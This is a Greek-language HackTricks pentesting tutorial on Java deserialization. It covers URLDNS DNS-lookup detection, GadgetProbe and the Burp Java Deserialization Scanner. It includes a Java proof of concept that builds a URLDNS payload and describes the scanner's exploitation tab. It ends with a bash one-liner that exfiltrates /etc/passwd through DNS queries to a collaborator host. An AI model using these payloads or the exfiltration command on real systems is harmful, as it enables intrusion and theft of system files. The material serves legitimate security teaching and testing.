hacktricks/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

188 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Java DNS Deserialization, GadgetProbe και Java Deserialization Scanner
{{#include ../../banners/hacktricks-training.md}}
## DNS αίτημα κατά την αποσειριοποίηση
Η κλάση `java.net.URL` υλοποιεί το `Serializable`, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσειριοποιηθεί.
```java
public final class URL implements java.io.Serializable {
```
Αυτή η κλάση έχει μια **περίεργη συμπεριφορά.** Από την τεκμηρίωση: “**Δύο υπολογιστές θεωρούνται ισοδύναμοι αν και τα δύο ονόματα υπολογιστών μπορούν να επιλυθούν στις ίδιες διευθύνσεις IP**”.\
Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί **οποιαδήποτε** από τις **συναρτήσεις `equals`** ή **`hashCode`** μια **DNS αίτηση** για να αποκτήσει τη διεύθυνση IP θα **σταλεί**.
**Η κλήση** της συνάρτησης **`hashCode`** **από** ένα **αντικείμενο URL** είναι αρκετά εύκολη, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα `HashMap` που πρόκειται να αποσυμπιεστεί. Αυτό συμβαίνει επειδή **στο τέλος** της **συνάρτησης `readObject`** από το `HashMap` εκτελείται αυτός ο κώδικας:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
Είναι **να** **εκτελεί** το `putVal` με κάθε τιμή μέσα στο `HashMap`. Αλλά, πιο σχετική είναι η κλήση στο `hash` με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης `hash`:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
Όπως μπορείτε να παρατηρήσετε, **κατά την αποσειριοποίηση** ενός **`HashMap`** η συνάρτηση `hash` θα **εκτελείται με κάθε αντικείμενο** και **κατά τη διάρκεια** της εκτέλεσης του **`hash`** **θα εκτελείται** το `.hashCode()` του αντικειμένου. Επομένως, αν **αποσειριοποιήσετε** ένα **`HashMap`** **που περιέχει** ένα **αντικείμενο URL**, το **αντικείμενο URL** θα **εκτελέσει** το `.hashCode()`.
Τώρα, ας ρίξουμε μια ματιά στον κώδικα του `URLObject.hashCode()`:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
Όπως μπορείτε να δείτε, όταν ένα `URLObject` εκτελεί `.hashCode()`, καλείται `hashCode(this)`. Μια συνέχεια μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
Μπορείτε να δείτε ότι εκτελείται ένα `getHostAddress` στο domain, **εκκινώντας ένα DNS query**.
Επομένως, αυτή η κλάση μπορεί να **καταχραστεί** προκειμένου να **εκκινήσει** ένα **DNS query** για να **δείξει** ότι είναι δυνατή η **deserialization**, ή ακόμα και για να **εξάγει πληροφορίες** (μπορείτε να προσθέσετε ως υποτομέα την έξοδο μιας εκτέλεσης εντολής).
### URLDNS payload code example
Μπορείτε να βρείτε τον [κώδικα payload URDNS από το ysoserial εδώ](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Ωστόσο, απλά για να διευκολύνω την κατανόηση του πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο σε αυτό από το ysoserial):
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### Περισσότερες πληροφορίες
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- Στην αρχική ιδέα, το payload των commons collections άλλαξε για να εκτελέσει ένα DNS query, αυτό ήταν λιγότερο αξιόπιστο από τη προτεινόμενη μέθοδο, αλλά αυτή είναι η ανάρτηση: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
Μπορείτε να κατεβάσετε [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) από το Burp Suite App Store (Extender).
**GadgetProbe** θα προσπαθήσει να καταλάβει αν κάποιες **Java κλάσεις υπάρχουν** στην Java κλάση του διακομιστή ώστε να γνωρίζετε **αν** είναι **ευάλωτος** σε κάποια γνωστή εκμετάλλευση.
### Πώς λειτουργεί
**GadgetProbe** θα χρησιμοποιήσει το ίδιο **DNS payload της προηγούμενης ενότητας** αλλά **πριν** εκτελέσει το DNS query θα **προσπαθήσει να αποσειρθεί μια αυθαίρετη κλάση**. Αν η **αυθαίρετη κλάση υπάρχει**, το **DNS query** θα **σταλεί** και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το **DNS** αίτημα **ποτέ δεν σταλεί**, αυτό σημαίνει ότι η **αυθαίρετη κλάση δεν αποσειράθηκε** επιτυχώς, οπότε είτε δεν είναι παρούσα είτε δεν είναι **serializable/exploitable**.
Μέσα στο github, [**GadgetProbe έχει κάποιες wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) με Java κλάσεις για δοκιμή.
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### Περισσότερες Πληροφορίες
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java Deserialization Scanner
Αυτός ο σαρωτής μπορεί να **κατέβει** από το Burp App Store (**Extender**).\
Η **επέκταση** έχει **παθητικές** και ενεργές **ικανότητες**.
### Παθητική
Από προεπιλογή, **ελέγχει παθητικά** όλα τα αιτήματα και τις απαντήσεις που αποστέλλονται **αναζητώντας** **Java serialized magic bytes** και θα παρουσιάσει μια προειδοποίηση ευπάθειας αν βρεθεί κάποια:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### Ενεργή
**Χειροκίνητη Δοκιμή**
Μπορείτε να επιλέξετε ένα αίτημα, να κάνετε δεξί κλικ και `Send request to DS - Manual Testing`.\
Στη συνέχεια, μέσα στην καρτέλα _Deserialization Scanner Tab_ --> _Manual testing tab_ μπορείτε να επιλέξετε το **σημείο εισαγωγής**. Και **να ξεκινήσετε τη δοκιμή** (Επιλέξτε την κατάλληλη επίθεση ανάλογα με την κωδικοποίηση που χρησιμοποιείται).
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
Ακόμα και αν αυτό ονομάζεται "Χειροκίνητη δοκιμή", είναι αρκετά **αυτοματοποιημένο**. Θα ελέγξει αυτόματα αν η **αποσειροποίηση** είναι **ευάλωτη** σε **οποιοδήποτε ysoserial payload** ελέγχοντας τις βιβλιοθήκες που είναι παρούσες στον διακομιστή ιστού και θα επισημάνει αυτές που είναι ευάλωτες. Για να **ελέγξετε** για **ευάλωτες βιβλιοθήκες** μπορείτε να επιλέξετε να εκκινήσετε **Javas Sleeps**, **sleeps** μέσω **κατανάλωσης CPU**, ή χρησιμοποιώντας **DNS** όπως έχει αναφερθεί προηγουμένως.
**Εκμετάλλευση**
Αφού έχετε εντοπίσει μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα _Exploiting Tab_.\
Σε αυτή την καρτέλα πρέπει να **επιλέξετε** ξανά το **σημείο εισαγωγής**, να **γράψετε** τη **ευάλωτη βιβλιοθήκη** για την οποία θέλετε να δημιουργήσετε ένα payload, και την **εντολή**. Στη συνέχεια, απλώς πατήστε το κατάλληλο κουμπί **Επίθεσης**.
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Java Deserialization DNS Exfil πληροφορίες
Κάντε το payload σας να εκτελεί κάτι σαν το παρακάτω:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### Περισσότερες Πληροφορίες
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}